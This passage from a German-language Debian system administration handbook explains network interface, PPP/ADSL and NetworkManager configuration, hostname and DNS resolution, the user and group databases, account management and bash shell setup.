Obwohl der Network Manager insbesondere für Ferninstallationen (siehe Abschnitt 8.2.4, „Automatische Netzwerkkonfigurierung für mobile Benutzer“) geeignet ist, kann man ihn hervorragend als Standard-Netzwerk-Tool einsetzen. Sie können "System connections", die beim Boot bereits benutzt werden, entweder manuell mittels einer Datei ähnlich einem .ini-File in /etc/NetworkManager/system-connections/ oder mit einem grafischen Werkzeug (nm-connection-editor) erstellen. Deaktivieren Sie alle Einträge in /etc/network/interfaces wenn Sie wollen, dass der Network Manager die Verwaltung übernimmt.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings/jessie

→ https://developer.gnome.org/NetworkManager/0.9/ref-settings.html

8.2.1. Ethernet-Schnittstelle

Falls der Rechner eine Ethernet-Karte hat, muss das mit ihr verbundene IP-Netzwerk durch eine von zwei möglichen Verfahren konfiguriert werden. Die einfachste Methode besteht in der dynamischen Konfigurierung mit DHCP, und sie erfordert einen DHCP-Server im lokalen Netzwerk. Bei ihr kann der gewünschte Hostname angegeben werden, wie er in unten stehendem Beispiel unter hostname angegeben ist. Der DHCP-Server schickt dann die Konfigurierungseinstellungen für das entsprechende Netzwerk.

Beispiel 8.1. DNS-Konfiguration

auto eth0
iface eth0 inet dhcp
hostname arrakis

Eine „statische“ Konfiguration muss die Netzwerkeinstellungen fest vorgeben. Hierzu gehören wenigstens die IP-Adresse und die Subnetzmaske; Netzwerk- und Broadcast-Adressen werden manchmal ebenfalls aufgeführt. Ein mit der Außenwelt verbundener Router wird als Gateway spezifiziert.

Beispiel 8.2. Statische Konfiguration

auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
broadcast 192.168.0.255
network 192.168.0.0
gateway 192.168.0.1

HINWEIS Mehrfache Adressen

Man kann nicht nur mehrere Schnittstellen einer einzelnen physischen Netzwerkkarte zuordnen, sondern auch mehrere IP-Adressen einer Schnittstelle. Wie bereits erwähnt, kann sich eine IP-Adresse per DNS auf eine beliebige Anzahl von Namen beziehen und ein Name auf eine beliebige Anzahl numerischer IP-Adressen.

Wie Sie vermuten, können Konfigurationen recht komplex sein, jedoch werden diese Optionen nur in sehr speziellen Fällen verwendet. Die hier gezeigten Beispiele sind für gewöhnliche Konfigurationen typisch.

8.2.2. Mit PPP über ein PSTN-Modem verbinden

Eine Punkt-zu-Punkt-Verbindung (PPP) stellt eine zeitweilige Verbindung her; sie ist die üblichste Lösung bei Verbindungen über ein Telefonmodem („PSTN-Modem“, da die Verbindung über das öffentliche Telefonnetz läuft).

Für eine Verbindung über ein Telefonmodem ist ein Konto bei einem Zugangsanbieter erforderlich, einschließlich Telefonnummer, Benutzername, Passwort und manchmal des zu verwendenden Authentifizierungsprotokolls. Eine derartige Verbindung wird mit dem Hilfsprogramm pppconfig aus dem gleichnamigen Debian-Paket konfiguriert. Standardmäßig konfiguriert es eine Verbindung mit dem Namen provider (nach dem Zugangsanbieter). Falls Sie sich bezüglich des Authentifizierungsprotokolls nicht sicher sind, wählen Sie PAP: es wird von der Mehrheit der Internetanbieter angeboten.

Nach der Konfigurierung ist es möglich, mit dem Befehl pon eine Verbindung herzustellen (indem man den Namen der Verbindung als Parameter angibt, falls der Standardwert provider nicht passt). Die Verbindung wird mit dem Befehl poff beendet. Diese beiden Befehle können vom Root-Benutzer ausgeführt werden oder von jedem anderen Benutzer, der in der dip-Gruppe ist.

8.2.3. Über ein ADSL-Modem verbinden

Der allgemeine Ausdruck „ADSL-Modem“ bezeichnet eine Vielzahl von Geräten mit sehr unterschiedlichen Funktionen. Die am einfachsten mit Linux zu verwendenden Modems sind solche mit einer Ethernet- (und nicht nur mit einer USB-) Schnittstelle. Sie sind recht beliebt. ADSL-Internet-Anbieter verleihen (oder vermieten) eine „Box“ mit Ethernet-Schnittstelle. Je nach Art des Modems unterscheidet sich die Konfiguration deutlich.

8.2.3.1. Modems, die PPPOE unterstützen

Manche Ethernet-Modems arbeiten mit dem PPPOE-Protokoll (Point to Point Protocol over Ethernet). Das Hilfsprogramm pppoeconf (aus dem gleichnamigen Paket) konfiguriert die Verbindung. Hierzu ändert es die Datei /etc/ppp/peers/dsl-provider mit den angegebenen Einstellungen und speichert die Anmeldeinformation in den Dateien /etc/ppp/pap-secrets und /etc/ppp/chap-secrets. Es wird empfohlen, alle vorgeschlagenen Veränderungen zu akzeptieren.

Sobald die Konfigurierung abgeschlossen ist, können Sie die ADSL-Verbindung mit dem Befehl pon dsl-provider herstellen und mit poff dsl-provider wieder trennen.

TIPP Ppp beim Booten starten

PPP-Verbindungen über ADSL sind per Definition intermittierend. Da sie in der Regel nicht nach der Zeit abgerechnet werden, gibt es nur wenige Nachteile für die Versuchung, sie immer offen zu halten. Standardmäßig wird dazu das init-System verwendet.

Das Standard-Init-System auf Jessie ist systemd. Das Hinzufügen einer automatisch neu startenden Aufgabe für die ADSL-Verbindung ist einfach durch die Erstellung einer "Unit-Datei" wie /etc/systemd/system/adsl-connection.service, mit Inhalten wie dem folgenden:

[Unit]
Description=ADSL Verbindung

[Service]
Type=forking
ExecStart=/usr/sbin/pppd call dsl-provider
Restart=always

[Install]
WantedBy=multi-user.target

Sobald diese Unit-Datei definiert wurde, muss sie mit systemctl enable adsl-connection aktiviert werden. Dann kann die Schleife manuell mit systemctl start adsl-connection gestartet werden; sie wird auch beim Booten automatisch gestartet.

Auf Systemen ohne systemd (einschließlich Wheezy und früheren Versionen von Debian) funktioniert der Standard SystemV init anders. Auf solchen Systemen genügt es, eine Zeile wie die folgende am Ende der Datei /etc/inittab hinzuzufügen; jedes Mal, wenn die Verbindung getrennt wird, wird init sie wieder verbinden.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Bei ADSL-Verbindungen, die täglich automatisch getrennt werden, reduziert diese Methode die Dauer der Unterbrechung.

8.2.3.2. Modems, die PPTP unterstützen

Das Protokoll PPTP (Point-to-Point Tunneling Protocol) wurde von Microsoft entwickelt. Es wurde zu Beginn von ADSL eingesetzt, dann aber schnell durch PPPOE ersetzt. Falls Sie zur Verwendung dieses Protokolls gezwungen werden, schlagen Sie unter Abschnitt 10.2.4, „PPTP“ nach.

8.2.3.3. Modems, die DHCP unterstützen

Wenn ein Modem über ein Ethernet-Kabel (gekreuztes Kabel) mit dem Rechner verbunden ist, richten Sie normalerweise auf diesem Rechner eine Netzwerkverbindung mit DHCP ein; das Modem fungiert dann automatisch als Gateway und übernimmt das Routing (das heißt, dass es den Netzwerkverkehr zwischen dem Rechner und dem Internet verwaltet).

ZURÜCK ZU DEN GRUNDLAGEN Gekreuztes Kabel für eine direkte Ethernetverbindung

Computer-Netzwerkkarten erwarten den Empfang von Daten auf bestimmten Leitungen des Kabels und senden ihre Daten auf anderen. Wenn Sie einen Rechner mit einem lokalen Netzwerk verbinden, schließen Sie normalerweise ein Kabel (gerade oder gekreuzt) zwischen der Netzwerkkarte und einem Repeater oder Schalter an. Wenn Sie jedoch zwei Rechner direkt miteinander verbinden wollen (ohne einen dazwischenliegenden Schalter oder Repeater), müssen Sie das von der einen Karte ausgesendete Signal zur empfangenen Seite der anderen Karte schicken und umgekehrt. Dies ist der Sinn eines gekreuzten Kabels und der Grund, warum es verwendet wird.

Beachten Sie, dass diese Unterscheidung im Laufe der Zeit fast irrelevant geworden ist, weil moderne Netzwerkkarten in der Lage sind, den angeschlossenen Kabeltyp zu erkennen, so dass oft beide an der gegebenen Schnittstelle funktionieren.

Die meisten ADSL-Router auf dem Markt können derart benutzt werden, genauso wie die meisten ADSL-Modems, die von Internetanbietern zur Verfügung gestellt werden.

8.2.4. Automatische Netzwerkkonfigurierung für mobile Benutzer

Viele Falcot-Ingenieure haben einen tragbaren Rechner, den sie für berufliche Zwecke auch zu Hause benutzen. Die zu verwendende Netzwerk-Konfigurierung ist je nach Ort verschieden. Zu Hause kann es ein (mit einem WPA-Schlüssel geschütztes) WLAN-Netzwerk sein, während am Arbeitsplatz ein kabelgebundenes Netzwerk mit größerer Sicherheit und höherer Bandbreite benutzt wird.

Um zu vermeiden, dass die entsprechenden Netzwerkschnittstellen von Hand verbunden und getrennt werden müssen, haben die Administratoren auf diesen mobilen Rechnern das Paket network-manager installiert. Dieses Programm ermöglicht es einem Anwender, auf einfache Weise über ein Symbol im Benachrichtigungsbereich seiner grafischen Arbeitsumgebung von einem Netzwerk zu einem anderen zu wechseln. Bei einem Klick auf dieses Symbol wird eine Liste der verfügbaren Netzwerke (sowohl der verkabelten als auch der kabellosen) angezeigt, so dass man einfach das Netzwerk auswählen kann, das man benutzen möchte. Das Programm speichert die Konfiguration der Netzwerke, mit denen der Anwender bereits verbunden war, und schaltet automatisch auf das beste verfügbare Netzwerk um, wenn die aktuelle Verbindung abbricht.

Hierzu besteht das Programm aus zwei Teilen: ein als Root laufender Daemon ist für die Aktivierung und Konfigurierung des Netzwerks zuständig, während eine Benutzerschnittstelle diesen Daemon steuert. PolicyKit kümmert sich um die benötigten Autorisierungen zur Steuerung des Programm und Debian hat PolicyKit so konfiguriert, dass Mitglieder der Gruppe netdev Network-Manager-Verbindungen anlegen oder ändern können.

Der Network-Manager weiß, wie er mit verschiedenen Verbindungsarten (DHCP, manuelle Konfigurierung, lokales Netzwerk) umzugehen hat, aber nur, wenn die Konfigurierung mit diesem Programm erfolgt ist. Daher ignoriert es systematisch alle Netzwerk-Schnittstellen in der Datei /etc/network/interfaces, für die es nicht geeignet ist. Da der Network-Manager keine genaueren Angaben macht, wenn keine Netzwerkverbindungen angezeigt werden, ist es am einfachsten, aus der Datei /etc/network/interfaces alle Schnittstellen zu löschen, die vom Network-Manager verwaltet werden sollen.

Beachten Sie, dass dieses Programm standardmäßig installiert wird, wenn während der anfänglichen Installation die Programmgruppe „Desktop-Umgebung“ ausgewählt wurde.

ALTERNATIVE Konfigurierung durch ein „Netzwerk-Profil“

Fortgeschrittenere Anwender möchten vielleicht das Paket guessnet zur automatischen Netzwerk-Konfigurierung ausprobieren. Eine Reihe von Test-Skripten bestimmt, welches Netzwerk-Profil aktiviert werden soll und konfiguriert es auch gleich.

Anwender, die ein Netzwerk-Profil lieber von Hand auswählen, werden das Programm netenv bevorzugen, das im Paket gleichen Namens zu finden ist.

8.3. Den Hostnamen einstellen und den Namensservice konfigurieren

Der Sinn der Zuweisung von Namen zu IP-Nummern besteht darin, sie für Menschen leichter merkbar zu machen. Eigentlich bestimmt eine IP-Adresse eine Netzwerk-Schnittstelle, die einem Gerät, wie einer Netzwerkkarte, zugeordnet ist. Da jeder Rechner mehrere Netzwerkkarten haben kann, und jede Karte mehrere Schnittstellen, kann ein einzelner Rechner im Domain-Namenssystem mehrere Namen haben.

Jeder Rechner wird jedoch durch einen offiziellen („kanonischen“) Namen identifiziert, der in der Datei /etc/hostname gespeichert ist und vom Linux-Kernel mit Hilfe von Initialisierungsskripten durch den Befehl hostname bekanntgegeben wird. Die aktuelle Einstellung ist in einem virtuellen Dateisystem verfügbar und kann mit dem Befehl cat /proc/sys/kernel/hostname abgerufen werden.

ZURÜCK ZU DEN GRUNDLAGEN /proc/ und /sys/, virtuelle Dateisysteme

Die Verzeichnisbäume /proc/ und /sys/ werden von „virtuellen“ Dateisystemen erzeugt. Dies ist ein praktisches Verfahren, um (durch das Auflisten virtueller Dateien) Informationen vom Kernel zu erhalten, oder sie (durch das Schreiben in virtuelle Dateien) an ihn zu übermitteln.

Insbesondere /sys/ ist dazu bestimmt, Zugang zu internen Kernelobjekten zu ermöglichen, vor allem solchen, die verschiedene Geräte des Systems darstellen. Der Kernel kann auf diese Weise verschiedene Arten von Informationen anzeigen: den Status jeden Geräts (ob es zum Beispiel im Energiesparmodus ist), ob es ein abnehmbares Gerät ist usw. Beachten Sie, dass es /sys/ erst seit der Kernelversion 2.6 gibt.

Überraschenderweise wird der Domain-Name nicht in dieser Weise verwaltet, sondern ergibt sich aus dem vollständigen Namen des Rechners, der durch Namensauflösung erlangt wird. Sie können ihn in der Datei /etc/hosts ändern; schreiben Sie einfach einen vollständigen Namen für den Rechner an den Anfang der Liste von Namen, die der Adresse des Rechners zugeordnet sind, wie in dem folgenden Beispiel:

127.0.0.1     localhost
192.168.0.1   arrakis.falcot.com arrakis

8.3.1. Namensauflösung

Das Verfahren zur Namensauflösung in Linux ist modular und kann verschiedene in der Datei /etc/nsswitch.conf aufgeführte Informationsquellen verwenden. Der Eintrag, der sich auf die Namensauflösung bezieht, ist hosts. Standardmäßig enthält es den Ausdruck files dns, der bedeutet, dass das System zunächst in der Datei /etc/hosts nachsieht und dann bei DNS-Servern. NIS/NIS+ und LDAP-Server sind weitere mögliche Quellen.

HINWEIS NSS und DNS

Beachten Sie, dass die Befehle, die eigens dafür gedacht sind, DNS abzufragen (insbesondere host), nicht das Standardverfahren zur Namensauflösung (NSS) verwenden. Dies hat zur Folge, dass sie /etc/nsswitch.conf nicht berücksichtigen und damit /etc/hosts auch nicht.

8.3.1.1. DNS-Server konfigurieren

DNS (Domain Name Service) ist ein verteilter und hierarchischer Dienst, der für Namen die dazugehörigen IP-Adressen ermittelt und umgekehrt. Insbesondere kann er einen menschengerechten Namen wie zum Beispiel www.eyrolles.com in die entsprechende IP-Adresse 213.244.11.247 umwandeln.

Um auf DNS-Informationen zugreifen zu können, muss ein DNS-Server zur Übertragung der Anfragen zur Verfügung stehen. Falcot Corp. hat seinen eigenen, aber ein einzelner Anwender wird eher die DNS-Server seines Internetanbieters nutzen.

Die zu verwendenden DNS-Server sind in der Datei /etc/resolv.conf aufgeführt, jeweils einer pro Zeile, wobei wie im folgenden Beispiel das Stichwort nameserver vor einer IP-Adresse steht:

nameserver 212.27.32.176
nameserver 212.27.32.177
nameserver 8.8.8.8

Beachten Sie, dass die Datei /etc/resolv.conf automatisch behandelt (und überschrieben) werden kann, wenn das Netzwerk vom NetworkManager verwaltet oder über DHCP konfiguriert wird.

8.3.1.2. Die Datei /etc/hosts

Falls es im lokalen Netzwerk keinen Namensserver gibt, ist es möglich, stattdessen in der Datei /etc/hosts, die normalerweise für lokale Netzwerkrechner reserviert ist, eine kleine Tabelle zu erstellen, in der IP-Adressen und Hostnamen von Rechnern einander zugeordnet sind. Die Syntax dieser Datei ist sehr einfach: jede Zeile enthält eine spezifische IP-Adresse gefolgt von der Liste der ihr zugeordneten Namen (von denen der erste „vollständig ausgewiesen“ ist, das heißt, dass er den Domain-Namen enthält).

Diese Datei ist selbst bei Netzwerkausfällen verfügbar, oder wenn DNS-Server nicht erreichbar sind, ist aber nur dann wirklich nützlich, wenn sie auf alle Rechner des Netzwerks kopiert wurde. Bei der kleinsten Veränderung in den Zuordnungen muss die Datei überall aktualisiert werden. Deshalb enthält /etc/hosts gewöhnlich nur die wichtigsten Einträge.

Diese Datei reicht für ein kleines nicht mit dem Internet verbundenes Netzwerk aus; ab fünf Rechnern ist es aber empfehlenswert, einen richtigen DNS-Server einzurichten.

TIPP DNS umgehen

Da Anwendungen vor einer DNS-Anfrage zunächst in der Datei /etc/hosts nachsehen, kann man dort Informationen ablegen, die sich von dem unterscheiden, was der DNS ausgeben würde, und so die normale DNS-basierte Namensauflösung umgehen.

Hierdurch ist es möglich, im Falle von DNS-Änderungen, die noch nicht verbreitet sind, den Zugang zu einer Webseite mit dem vorgesehenen Namen zu testen, selbst wenn dieser Name der richtigen IP-Adresse noch nicht ordnungsgemäß zugeordnet ist.

Eine weitere Verwendungsmöglichkeit besteht darin, den für einen bestimmten Rechner gedachten Verkehr zum lokalen Computer (local host) umzuleiten und so jegliche Kommunikation mit dem betreffenden Rechner zu unterbinden. Beispielsweise können die Hostnamen von Servern, die für das Ausliefern von Werbeanzeigen zuständig sind, umgelenkt werden, und so diese Anzeigen zu umgehen, was zu einem flüssigeren und weniger störenden Navigieren führt.

8.4. Benutzer- und Gruppendatenbanken

Die Liste der Benutzer ist normalerweise in der Datei /etc/passwd gespeichert, während die Datei /etc/shadow verschlüsselte Passwörter speichert. Beide sind Textdateien in einem recht einfachen Format, das mit einem Texteditor gelesen und geändert werden kann. Jeder Benutzer ist darin in einer Zeile mit mehreren durch einen Doppelpunkt („:“) getrennten Feldern aufgeführt.

HINWEIS Systemdateien editieren

Die in diesem Kapitel erwähnten Systemdateien sind alle reine Textdateien und können mit einem Texteditor editiert werden. Angesichts ihrer Bedeutung für die Funktionalität des Kernsystems empfiehlt es sich, bei ihrer Bearbeitung besondere Vorsicht walten zu lassen. Erstens sollten Sie eine Systemdatei immer kopieren oder sichern, bevor Sie sie öffnen oder verändern. Und zweitens sollten Sie auf Servern und auf Rechnern, bei denen möglicherweise zur gleichen Zeit mehr als eine Person auf dieselbe Datei zugreifen könnte, besondere Maßnahmen zum Schutz vor Dateibeschädigungen treffen.

Hierzu genügt es, den Befehl vipw zum Editieren der Datei /etc/passwd oder vigr zum Editieren der Datei /etc/group zu benutzen. Diese Befehle sperren die entsprechende Datei vor dem Start des Texteditors (standardmäßig vi, es sei denn, dass die Umgebungsvariable EDITOR verändert worden ist). Durch die Option -s ist es bei diesen Befehlen möglich, die entsprechende shadow-Datei zu editieren.

ZURÜCK ZU DEN GRUNDLAGEN Crypt, eine Einwegfunktion

crypt ist eine Einwegfunktion, die eine Zeichenkette (A) derart in eine andere Zeichenkette (B) umwandelt, dass A nicht von B abgeleitet werden kann. Der einzige Weg, A zu bestimmen, besteht darin, alle möglichen Werte auszuprobieren und jeden dahingehend zu überprüfen, ob seine Umwandlung durch diese Funktion B ergibt oder nicht. Sie verwendet als Eingabe 8 Zeichen (Zeichenkette A) und erzeugt eine Zeichenkette von 13 druckbaren ASCII-Zeichen (Zeichenkette B).

8.4.1. Benutzerliste: /etc/passwd

Hier ist die Liste der Felder in der Datei /etc/passwd:

- login, zum Beispiel rhertzog;

- password: dies ist ein mit einer Einwegfunktion (crypt) basierend auf DES, MD5, SHA-256 or SHA-512verschlüsseltes Passwort. Der besondere Wert „x" bedeutet, dass das verschlüsselte Passwort in der Datei /etc/shadow gespeichert ist;

- uid: eine eindeutige Zahl zur Identifizierung jeden Benutzers;

- gid: eine eindeutige Zahl für die Hauptgruppe des Benutzers (Debian erstellt standardmäßig für jeden Benutzer eine besondere Gruppe);

- GECOS: Datenfeld, das gewöhnlich den vollständigen Namen des Benutzers enthält;

- Benutzerverzeichnis, das dem Benutzer zur Speicherung seiner persönlichen Dateien zugewiesen ist (die Umgebungsvariable $HOME verweist üblicherweise hierauf);

- bei der Anmeldung auszuführendes Programm. Dies ist gewöhnlich ein Befehlszeileninterpreter (Shell), der dem Benutzer freie Hand lässt. Falls Sie hier /bin/false angeben (das nichts tut und die Steuerung gleich wieder zurück gibt), kann sich der Benutzer nicht anmelden.

ZURÜCK ZU DEN GRUNDLAGEN Unix-Gruppen

Eine Unix-Gruppe ist eine Einheit, die mehrere Benutzer umfasst, so dass diese auf einfache Weise Dateien unter Verwendung des integrierten Berechtigungssystems gemeinsam benutzen können (wobei sie von den gleichen Berechtigungen profitieren). Man kann auch die Verwendung bestimmter Programme auf eine besondere Gruppe begrenzen.

8.4.2. Die versteckte und verschlüsselte Passwortdatei: /etc/shadow

Die Datei /etc/shadow enthält die folgenden Felder:

- Anmeldung;

- verschlüsseltes Passwort;

- mehrere Felder zur Verwaltung des Verfalls der Passwörter.

DOKUMENTATION Dateiformate von /etc/passwd, /etc/shadow und /etc/group

Diese Formate sind auf den folgenden Handbuchseiten dokumentiert: passwd(5), shadow(5) und group(5).

SICHERHEIT Dateisicherheit von /etc/shadow

Im Gegensatz zu ihrem Alter Ego /etc/passwd kann die Datei /etc/shadow nicht von normalen Benutzern gelesen werden. Jedes in /etc/passwd gespeicherte verschlüsselte Passwort kann von jedem gelesen werden; ein Cracker könnte versuchen, durch eine von verschiedenen „Brute-Force-Methoden“, die einfach gesagt häufig verwendete Zeichenkombinationen raten, ein Passwort zu „knacken“ (oder aufzudecken). Diese - „Wörterbuchangriff“ genannte - Attacke ist auf Systemen, die /etc/shadow verwenden, nicht mehr möglich.

8.4.3. Ein bestehende Konto oder Passwort ändern

Mit den folgenden Befehlen ist es möglich, die in bestimmten Feldern der Benutzerdatenbanken gespeicherten Informationen zu verändern: passwd erlaubt es einem normalen Benutzer, sein Passwort zu ändern, wodurch wiederum die Datei /etc/shadow aktualisiert wird; chfn (CHange Full Name) ist für den Superuser (Root) reserviert und verändert das Feld GECOS. chsh (CHange SHell) ermöglicht es dem Benutzer, seine Anmelde-Shell zu wechseln, jedoch ist dabei die Auswahl auf diejenigen begrenzt, die in der Datei /etc/shells aufgeführt sind; dagegen ist der Administrator nicht an diese Einschränkung gebunden und kann als Shell jedes von ihm gewählte Programm einstellen.

Schließlich ermöglicht der Befehl chage (CHange AGE) es dem Administrator, die Passwort-Verfallseinstellungen zu ändern (mit der Option -l benutzer werden die aktuellen Einstellungen aufgelistet). Man kann auch den Verfall eines Passworts mit dem Befehl passwd -e benutzer erzwingen, wodurch der Benutzer bei der nächsten Anmeldung sein Passwort ändern muss.

8.4.4. Ein Konto sperren

Es kann sein, dass Sie als Disziplinarmaßnahme, zum Zweck einer Untersuchung oder einfach im Falle einer längeren oder endgültigen Abwesenheit eines Benutzers ein „Konto sperren“ (einen Benutzer ausschließen) müssen. Ein gesperrtes Konto bedeutet, dass sich der Benutzer nicht mehr anmelden und Zugang zum Rechner erhalten kann. Das Konto bleibt unversehrt auf dem Rechner, und weder Dateien noch Daten werden gelöscht; es ist einfach nur nicht mehr zugänglich. Dies wird mit dem Befehl passwd -l benutzer erreicht (zum Sperren). Die erneute Freigabe des Kontos geschieht auf ähnliche Weise mit der Option -u (zum Entsperren).

WEITERE SCHRITTE NSS und Systemdatenbanken

Anstatt die üblichen Dateien zur Verwaltung der Benutzer- und Gruppenlisten zu benutzen, könnten Sie andere Arten von Datenbanken verwenden, wie zum Beispiel LDAP oder db, indem sie ein passendes NSS-Modul (Name Service Switch) einsetzen. Die verwendeten Module werden in der Datei /etc/nsswitch.conf unter den Einträgen passwd, shadow und group aufgeführt. Siehe Abschnitt 11.7.3.1, „NSS konfigurieren“ für ein konkretes Beispiel zum Einsatz eines NSS-Moduls durch LDAP.

8.4.5. Gruppenliste: /etc/group

Gruppen sind in der Datei /etc/group aufgelistet, einer einfachen Textdatenbank in einem der Datei /etc/passwd ähnlichen Format mit folgenden Feldern:

- Gruppenname;

- Passwort (optional): Dies wird nur dann zum Beitritt zu einer Gruppe benutzt, wenn jemand dort normalerweise nicht Mitglied ist (mit den Befehlen newgrp oder sg, siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Mit mehreren Gruppen arbeiten);

- gid: eindeutige Gruppenidentifikationsnummer;

- Mitgliederliste: Liste mit den Namen der Benutzer, die Mitglieder der Gruppe sind, getrennt durch Kommata.

ZURÜCK ZU DEN GRUNDLAGEN Mit mehreren Gruppen arbeiten

Jeder Benutzer kann Mitglied zahlreicher Gruppen sein; von diesen ist eine seine „Hauptgruppe“. Die Hauptgruppe eines Benutzers wird standardmäßig während der ursprünglichen Benutzerkonfigurierung erstellt. Gemäß der Voreinstellung gehört jede Datei, die ein Benutzer erstellt, ihm selbst sowie auch seiner Hauptgruppe. Dies ist nicht immer wünschenswert; wenn zum Beispiel der Benutzer in einem Verzeichnis arbeiten muss, das von einer anderen Gruppe als seiner Hauptgruppe gemeinsam genutzt wird. In diesem Fall muss der Benutzer seine Hauptgruppe mit einem der folgenden Befehle wechseln: newgrp, der eine neue Shell startet, oder sg, der einfach einen Befehl unter Verwendung der angegebenen alternativen Gruppe ausführt. Diese Befehle ermöglichen es dem Benutzer also, einer Gruppe beizutreten, der er nicht angehört. Falls die Gruppe durch ein Passwort geschützt ist, muss er das richtige Passwort angeben, bevor der Befehl ausgeführt wird.

Stattdessen kann der Benutzer das setgid-Bit auf das Verzeichnis setzen, wodurch in diesem Verzeichnis erstellte Dateien automatisch zur richtigen Gruppe gehören. Zu weiteren Einzelheiten siehe SICHERHEIT setgid-Verzeichnis und Sticky-Bit in der Seitenleiste.

Der Befehl id zeigt den aktuellen Status eines Benutzers an mit seiner persönlichen Kennung (Variable uid), der aktuellen Hauptgruppe (Variable gid) und der Liste der Gruppen, zu denen er gehört (Variable Gruppen).

Die Befehle groupadd und groupdel fügen eine Gruppe hinzu beziehungsweise löschen sie. Der Befehl groupmod ändert die Informationen über eine Gruppe (sein gid, das heißt seine Kennung). Der Befehl passwd -g gruppe ändert das Passwort der Gruppe, während der Befehl passwd -r -g gruppe es löscht.

TIPP getent

Der Befehl getent (get entries) überprüft die Systemdatenbanken auf dem normalen Weg unter Verwendung der passenden Bibliotheksfunktionen, die ihrerseits die in der Datei /etc/nsswitch.conf konfigurierten NSS-Module aufrufen. Der Befehl nimmt ein oder zwei Argumente an: den Namen der zu überprüfenden Datenbank und möglicherweise einen Suchbegriff. So zeigt der Befehl getent passwd rhertzog Informationen aus der Benutzerdatenbank über den Benutzer rhertzog an.

8.5. Konten erstellen

Eine der ersten Aktionen, die ein Administrator zu erledigen hat, wenn er einen neuen Rechner einrichtet, ist das Erstellen von Benutzerkonten. Dies geschieht normalerweise mit dem Befehl adduser, der einen Benutzernamen für den neu zu erstellenden Benutzer als Argument annimmt.

Der Befehl adduser stellt einige Fragen, bevor er ein Konto erstellt, aber seine Benutzung ist ziemlich unkompliziert. Seine Konfigurationsdatei /etc/adduser.conf enthält alle relevanten Einstellungen: sie kann dazu verwendet werden, durch das Erstellen von Benutzervorlagen automatisch eine Quota für jeden neuen Benutzer zu setzen oder den Ort des Benutzerkontos zu ändern; letzteres wird selten gebraucht, erweist sich aber als nützlich, wenn man eine große Zahl von Benutzern hat und zum Beispiel ihre Konten über mehrere Platten aufteilen will. Man kann hiermit auch eine andere Standardshell auswählen.

ZURÜCK ZU DEN GRUNDLAGEN Quota

Der Begriff „Quota“ bezeichnet die Begrenzung der Rechnerressourcen, die ein Benutzer verwenden darf. Es bezieht sich häufig auf den Festplattenplatz.

Bei der Erstellung eines Kontos wird das Home-Verzeichnis des Benutzers mit dem Inhalt der Vorlage /etc/skel/ befüllt. Hierdurch wird dem Benutzer ein Satz von Standardverzeichnissen und Konfigurationsdateien zur Verfügung gestellt.

Manchmal ist es nützlich, einen Benutzer einer Gruppe hinzuzufügen (einer anderen als seiner voreingestellten „Hauptgruppe“), um ihm zusätzliche Berechtigungen zu gewähren. So kann zum Beispiel ein Benutzer, der Mitglied der audio-Gruppe ist, auf Audiogeräte zugreifen (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte). Dies kann durch einen Befehl wie adduser benutzer gruppe erreicht werden.

ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte

Bei Unix wird jedes Hardware-Peripheriegerät durch eine besondere Datei dargestellt, die gewöhnlich im Verzeichnisbaum unter /dev/ (DEVices) gespeichert ist. Es gibt in Abhängigkeit von der Art des Gerätes zwei besondere Dateien: Dateien des „Zeichenmodus“ und des „Blockmodus“, von denen jede nur eine begrenzte Anzahl von Operationen ermöglicht. Während der Zeichenmodus die Interaktion mit Lese-/Schreiboperationen beschränkt, ermöglicht der Blockmodus auch die Suche innerhalb der verfügbaren Daten. Jede spezielle Datei ist schließlich zwei Zahlen zugeordnet (einer „Haupt“- und einer „Nebenzahl“), die das Gerät für den Kernel in eindeutiger Weise bezeichnen. Eine derartige Datei, die mit dem Befehl mknod erstellt wird, enthält einfach nur einen symbolischen (und menschenfreundlicheren) Namen.

Die Berechtigungen einer besonderen Datei bilden die für den Zugriff auf das Gerät selbst erforderlichen Berechtigungen ab. So hat eine Datei wie zum Beispiel /dev/mixer, die den Audiomixer darstellt, nur Lese-/Schreibberechtigungen für den Root-Benutzer und für Mitglieder der audio-Gruppe. Nur diese Benutzer können den Audiomixer bedienen.

Es sei darauf hingewiesen, dass durch die Kombination von udev, consolekit und policykit zusätzliche Berechtigungen vergeben werden können, die es Benutzern, die physisch (und nicht über das Netzwerk) mit dem Terminal verbunden sind, ermöglicht, auf bestimmte Geräte zuzugreifen.

8.6. Shell-Umgebung

Befehlsinterpreter (oder Shells) könen für einen Benutzer der erste Berührungspunkt mit einem Computer sein und sie müssen daher recht bedienerfreundlich sein. Die meisten verwenden Initialisierungsskripten, mit denen ihr Verhalten konfiguriert werden kann (Autovervollständigung, Text an der Eingabeaufforderung usw.).

bash, die Standardshell, verwendet das Initialisierungsskript /etc/bash.bashrc für „interaktive“ Shells und /etc/profile für „Anmelde“-Shells.

ZURÜCK ZU DEN GRUNDLAGEN Anmeldeshell und (nicht) interaktive Shell

Einfach ausgedrückt wird eine Anmeldeshell aufgerufen, wenn Sie sich entweder lokal oder entfernt via ssh an der Konsole anmelden oder durch einen expliziten Befehl bash --login. Unabhängig davon, ob es sich um eine Anmeldeshell handelt oder nicht, kann eine Shell interaktiv sein (zum Beispiel in einem Terminal des Typs xterm) oder nicht interaktiv (wenn ein Skript ausgeführt wird).

ENTDECKUNG Andere Shells, andere Skripten

Jeder Befehlsinterpreter hat eine besondere Syntax und seine eigenen Konfigurationsdateien. So benutzt zsh /etc/zshrc und /etc/zshenv; csh benutzt /etc/csh.cshrc, /etc/csh.login und /etc/csh.logout. Die Handbuchseiten dieser Programme erläutern, welche Dateien sie benutzen.

Bei bash ist es hilfreich, die „automatische Vervollständigung“ in der Datei /etc/bash.bashrc zu aktivieren (einfach bei einigen Zeilen das Kommentarzeichen entfernen).

ZURÜCK ZU DEN GRUNDLAGEN Automatische Vervollständigung

Viele Befehlsinterpreter verfügen über eine Vervollständigungsfunktion, durch die die Shell einen teilweise eingegebenen Befehl oder ein Argument automatisch vervollständigen kann, indem der Benutzer die Tab-Taste drückt. So können Benutzer effizienter arbeiten und sind weniger fehleranfällig.

